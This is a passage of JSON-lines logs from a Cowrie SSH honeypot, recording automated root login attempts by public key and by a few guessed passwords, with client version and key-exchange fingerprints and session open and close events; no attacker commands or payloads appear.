14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.176954Z","src_ip":"167.114.156.169","session":"81bb6e036c83","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:51:3f:7b:7d:46:30:87:f2:d6:ea:2c:c5:51:a7:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwI7wrKVy5psMge8XgVE9+tvIfZz4x5ro2VVx0hKTQx98U8mZw/GWjxahpEqPczwSbIlgjucpSlMn0bJOew0JKwcgcfShkyKLNIgfUNfKxMVsI9mYDj04g0v2WhAX4JT65mO3ZjXBpNST4o+pbJMh8HfD1qygZXWsVpngACwkSr0zpgLRdaEp6gR3KNsqXrMFhad1186o+sT/fptmEQQZJRJqKg0IlmdFw9I+/2QpTFD5AcuXAfNeYMBBigYvVealSNjOlO/WAmM+unL5CEMQotGQ76UMXuZuR5KD+1bj1ER4aaNO3P7LsdP4k3YfNQc3FoQ7maFTi5dMbYCBhmiPj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:51:3f:7b:7d:46:30:87:f2:d6:ea:2c:c5:51:a7:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.254068Z","src_ip":"167.114.156.169","session":"81bb6e036c83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:51:3f:7b:7d:46:30:87:f2:d6:ea:2c:c5:51:a7:90","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwI7wrKVy5psMge8XgVE9+tvIfZz4x5ro2VVx0hKTQx98U8mZw/GWjxahpEqPczwSbIlgjucpSlMn0bJOew0JKwcgcfShkyKLNIgfUNfKxMVsI9mYDj04g0v2WhAX4JT65mO3ZjXBpNST4o+pbJMh8HfD1qygZXWsVpngACwkSr0zpgLRdaEp6gR3KNsqXrMFhad1186o+sT/fptmEQQZJRJqKg0IlmdFw9I+/2QpTFD5AcuXAfNeYMBBigYvVealSNjOlO/WAmM+unL5CEMQotGQ76UMXuZuR5KD+1bj1ER4aaNO3P7LsdP4k3YfNQc3FoQ7maFTi5dMbYCBhmiPj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.257959Z","src_ip":"167.114.156.169","session":"81bb6e036c83","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:2d:c9:ee:17:fa:c5:fc:e6:4d:90:89:c7:1c:10:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7XSx7V6UbLqzAlkC2hPiOmw0Xp5osp8p6Uhg9S3NXiclAPPM980jJaJ6Ev1fUm7k0tqDLO8Myu7J0KdXyMJVGyPQ7H4/TYAI6ErOsH9skIS06tAAS7VpyGmGRTWi0OL0poM8vtTwPM2grcWrZNKnXfScEu0GZnqvWM9ayinSEuUuNAtYXIcICgjdzdYAI50ojfVGL07vxgNurL6VrYS71i8+42vYFw7FdRwOFrOnrAyzQGLzDUX/NUnx/Unu69HZM+bZvndFrUpobJy/T7lYM+eynbwXkkQ9QcdCUJMtKX7BIZhZbDUXm05nQm4EJmvZy9QyGSO9P9jZ9hiPUiwwgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:2d:c9:ee:17:fa:c5:fc:e6:4d:90:89:c7:1c:10:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.278238Z","src_ip":"167.114.156.169","session":"81bb6e036c83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:2d:c9:ee:17:fa:c5:fc:e6:4d:90:89:c7:1c:10:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7XSx7V6UbLqzAlkC2hPiOmw0Xp5osp8p6Uhg9S3NXiclAPPM980jJaJ6Ev1fUm7k0tqDLO8Myu7J0KdXyMJVGyPQ7H4/TYAI6ErOsH9skIS06tAAS7VpyGmGRTWi0OL0poM8vtTwPM2grcWrZNKnXfScEu0GZnqvWM9ayinSEuUuNAtYXIcICgjdzdYAI50ojfVGL07vxgNurL6VrYS71i8+42vYFw7FdRwOFrOnrAyzQGLzDUX/NUnx/Unu69HZM+bZvndFrUpobJy/T7lYM+eynbwXkkQ9QcdCUJMtKX7BIZhZbDUXm05nQm4EJmvZy9QyGSO9P9jZ9hiPUiwwgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.281765Z","src_ip":"167.114.156.169","session":"81bb6e036c83","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:67:dc:30:7f:92:7c:f9:d5:81:37:b7:c2:19:5c:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArUfQTBMR+KQcWT6l4vnQWyZC4T16usFVVwmT6ghTQTV/IyE0yuD47adUUkN6uYsBlBAeVzb5C8IY/KG7dMH/Uy1SBoex0KQyTHQp7QYglbZqu5mEk93nK6xJnYBM+QF4XjE3hT3Ujdu86QWYdB730xvH/SD/B8gD3xrICcaM1IEhVkFjbDPwkQ9WiV/MHZW5stB4J2m0SIV9oc6H6Lh5EqXWc54Z81kQu30rYd2dkZnJFxFv/C4L6QOS536wgl3/5swJCv2ciysUVLsRvoCkooQkiJLvKr7mNYxMPIFHBwON+Utk5pNBGE2zwJ9tivS/ZFD7WK0Ge7Us/gnWwjtirw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:67:dc:30:7f:92:7c:f9:d5:81:37:b7:c2:19:5c:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.301877Z","src_ip":"167.114.156.169","session":"81bb6e036c83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:67:dc:30:7f:92:7c:f9:d5:81:37:b7:c2:19:5c:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArUfQTBMR+KQcWT6l4vnQWyZC4T16usFVVwmT6ghTQTV/IyE0yuD47adUUkN6uYsBlBAeVzb5C8IY/KG7dMH/Uy1SBoex0KQyTHQp7QYglbZqu5mEk93nK6xJnYBM+QF4XjE3hT3Ujdu86QWYdB730xvH/SD/B8gD3xrICcaM1IEhVkFjbDPwkQ9WiV/MHZW5stB4J2m0SIV9oc6H6Lh5EqXWc54Z81kQu30rYd2dkZnJFxFv/C4L6QOS536wgl3/5swJCv2ciysUVLsRvoCkooQkiJLvKr7mNYxMPIFHBwON+Utk5pNBGE2zwJ9tivS/ZFD7WK0Ge7Us/gnWwjtirw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.306237Z","src_ip":"167.114.156.169","session":"81bb6e036c83","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:98:99:af:f8:da:45:06:1e:42:f0:1f:4f:61:f2:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD39jkLFiiSeZC3V7WaIRa1pURlwCREGKTd8g+0xYh7kFmn+17QIgM0pKucYfYe2S5tvmvIsHuUKphp43qHSDBIWwZCkAFF7cnU2FuYwt1r23HNcQuKlDpn33R2oQGCYOLaYODu2ZThB4qCz2nbUbUM4VM7xiK6FjNic1SyMVZ9vuXNih42i0aMkH06qz9FR/5F8SrKVTzu7Z4WLjw42upw59chRftzIkGIgZXqwPdf64v6aDUnAwXGlU6xLit2AQj1Yfym9p2EKNNQzR3SD64AbegHvP6aKOafrn8ezJDIdMvn4Ij0KHNUrluXJF7r0F/SRozqFxaZkyEamUgGQEHGrdk1ZbUaBobIdsoLzYUnRT9Q1CEMJtwBTtJ+A/zSzxxe6FX8MXCaZh1lRwvscsXYr+Bu/o3IJqwtjq8GW8qs+4eU4zx5YCNiCRBQBQVpUfzoPc73zVKfa+FAsulQlkTDaju60srHZWeTF3uP/I2yztxD6Jdh/31YKeV27XESYrE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:98:99:af:f8:da:45:06:1e:42:f0:1f:4f:61:f2:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.326435Z","src_ip":"167.114.156.169","session":"81bb6e036c83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:98:99:af:f8:da:45:06:1e:42:f0:1f:4f:61:f2:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD39jkLFiiSeZC3V7WaIRa1pURlwCREGKTd8g+0xYh7kFmn+17QIgM0pKucYfYe2S5tvmvIsHuUKphp43qHSDBIWwZCkAFF7cnU2FuYwt1r23HNcQuKlDpn33R2oQGCYOLaYODu2ZThB4qCz2nbUbUM4VM7xiK6FjNic1SyMVZ9vuXNih42i0aMkH06qz9FR/5F8SrKVTzu7Z4WLjw42upw59chRftzIkGIgZXqwPdf64v6aDUnAwXGlU6xLit2AQj1Yfym9p2EKNNQzR3SD64AbegHvP6aKOafrn8ezJDIdMvn4Ij0KHNUrluXJF7r0F/SRozqFxaZkyEamUgGQEHGrdk1ZbUaBobIdsoLzYUnRT9Q1CEMJtwBTtJ+A/zSzxxe6FX8MXCaZh1lRwvscsXYr+Bu/o3IJqwtjq8GW8qs+4eU4zx5YCNiCRBQBQVpUfzoPc73zVKfa+FAsulQlkTDaju60srHZWeTF3uP/I2yztxD6Jdh/31YKeV27XESYrE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.331996Z","src_ip":"167.114.156.169","session":"81bb6e036c83","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"05:57:5f:e7:a3:6d:48:65:a4:fa:c5:74:fc:95:4f:ba","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALBwZ56f4Ocs9Y67orj7DDp8ukyLnSvpmqEYGw1kP52DoPwO1sNSt2M2HtZlDYkB977+4ycAwedFgFgeUg9d+If6f9Ubz7GLSh8xGRnyrTKP4jguUOPTgHxIBd1rR3WwhBBL8q+evU8uHuPIRMHaU5PfEAc/8DjzlZeMMZpb2ALVAAAAFQCCLUzuI27JoDMYy76AnM5u94PtmQAAAIAOWP+QNZTDFNHeyXquUfJ2YWSLHZS14ksjIO+O/vdP7wgMUBLvNAN/hbi+frqBhWEMcq4zfWfWlqLLkE2put7I8gEDCq4UrSdP/yvUri2RsNFXonQtjiOfR+pliXQtjAdg/TIA6+VeGJ0bnCP2k1rdAMZ5Hgvh1ivTEBMpIiy7HwAAAIBTTtKcH623mueg53ZLVezz2umOLG1jJ+iKddHs6fW7DNW2c7SqE3qxdZg3IzW2YdWIT3vj++mjK0qKxeIipk0gl/QHEm27SxnXO0sKE2GRmEEVuHi2G28kJ6fEA6QGQmfHRpML2qw9wH5yBvpOycuUrFz11eNFr4lQHArzuHwytA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 05:57:5f:e7:a3:6d:48:65:a4:fa:c5:74:fc:95:4f:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.354245Z","src_ip":"167.114.156.169","session":"81bb6e036c83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"05:57:5f:e7:a3:6d:48:65:a4:fa:c5:74:fc:95:4f:ba","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALBwZ56f4Ocs9Y67orj7DDp8ukyLnSvpmqEYGw1kP52DoPwO1sNSt2M2HtZlDYkB977+4ycAwedFgFgeUg9d+If6f9Ubz7GLSh8xGRnyrTKP4jguUOPTgHxIBd1rR3WwhBBL8q+evU8uHuPIRMHaU5PfEAc/8DjzlZeMMZpb2ALVAAAAFQCCLUzuI27JoDMYy76AnM5u94PtmQAAAIAOWP+QNZTDFNHeyXquUfJ2YWSLHZS14ksjIO+O/vdP7wgMUBLvNAN/hbi+frqBhWEMcq4zfWfWlqLLkE2put7I8gEDCq4UrSdP/yvUri2RsNFXonQtjiOfR+pliXQtjAdg/TIA6+VeGJ0bnCP2k1rdAMZ5Hgvh1ivTEBMpIiy7HwAAAIBTTtKcH623mueg53ZLVezz2umOLG1jJ+iKddHs6fW7DNW2c7SqE3qxdZg3IzW2YdWIT3vj++mjK0qKxeIipk0gl/QHEm27SxnXO0sKE2GRmEEVuHi2G28kJ6fEA6QGQmfHRpML2qw9wH5yBvpOycuUrFz11eNFr4lQHArzuHwytA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.358482Z","src_ip":"167.114.156.169","session":"81bb6e036c83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:22.379246Z","src_ip":"167.114.156.169","session":"81bb6e036c83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":33836,"dst_ip":"10.17.0.5","dst_port":22,"session":"6815cf80028f","protocol":"ssh","message":"New connection: 147.45.199.80:33836 (10.17.0.5:22) [session: 6815cf80028f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:34.497710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:34.502598Z","src_ip":"147.45.199.80","session":"6815cf80028f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:34.601978Z","src_ip":"147.45.199.80","session":"6815cf80028f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vthctltc","message":"login attempt [root/vthctltc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:34.898936Z","src_ip":"147.45.199.80","session":"6815cf80028f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:08:35.998325Z","src_ip":"147.45.199.80","session":"6815cf80028f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":37908,"dst_ip":"159.203.135.109","dst_port":22,"session":"948ce72ed0ef","protocol":"ssh","message":"New connection: 103.153.68.219:37908 (159.203.135.109:22) [session: 948ce72ed0ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:09:38.410993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:09:38.416141Z","src_ip":"103.153.68.219","session":"948ce72ed0ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:09:38.664068Z","src_ip":"103.153.68.219","session":"948ce72ed0ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zk.","message":"login attempt [root/zk.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:09:39.409368Z","src_ip":"103.153.68.219","session":"948ce72ed0ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:09:40.674814Z","src_ip":"103.153.68.219","session":"948ce72ed0ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35838,"dst_ip":"159.203.135.109","dst_port":22,"session":"305c043e0f0b","protocol":"ssh","message":"New connection: 103.195.236.96:35838 (159.203.135.109:22) [session: 305c043e0f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:09:44.021008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:09:44.026211Z","src_ip":"103.195.236.96","session":"305c043e0f0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:09:44.263923Z","src_ip":"103.195.236.96","session":"305c043e0f0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1995","message":"login attempt [root/1995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:09:44.976662Z","src_ip":"103.195.236.96","session":"305c043e0f0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:09:46.217784Z","src_ip":"103.195.236.96","session":"305c043e0f0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":52442,"dst_ip":"159.203.135.109","dst_port":22,"session":"957a47cd0e6b","protocol":"ssh","message":"New connection: 185.236.22.41:52442 (159.203.135.109:22) [session: 957a47cd0e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:10:42.265939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:10:42.271205Z","src_ip":"185.236.22.41","session":"957a47cd0e6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:10:42.390175Z","src_ip":"185.236.22.41","session":"957a47cd0e6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sobaka","message":"login attempt [root/sobaka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:10:42.763383Z","src_ip":"185.236.22.41","session":"957a47cd0e6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:10:43.875339Z","src_ip":"185.236.22.41","session":"957a47cd0e6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":59542,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5d652d0d930","protocol":"ssh","message":"New connection: 80.94.92.184:59542 (10.17.0.5:22) [session: d5d652d0d930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:11:00.079538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:11:00.279990Z","src_ip":"80.94.92.184","session":"d5d652d0d930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2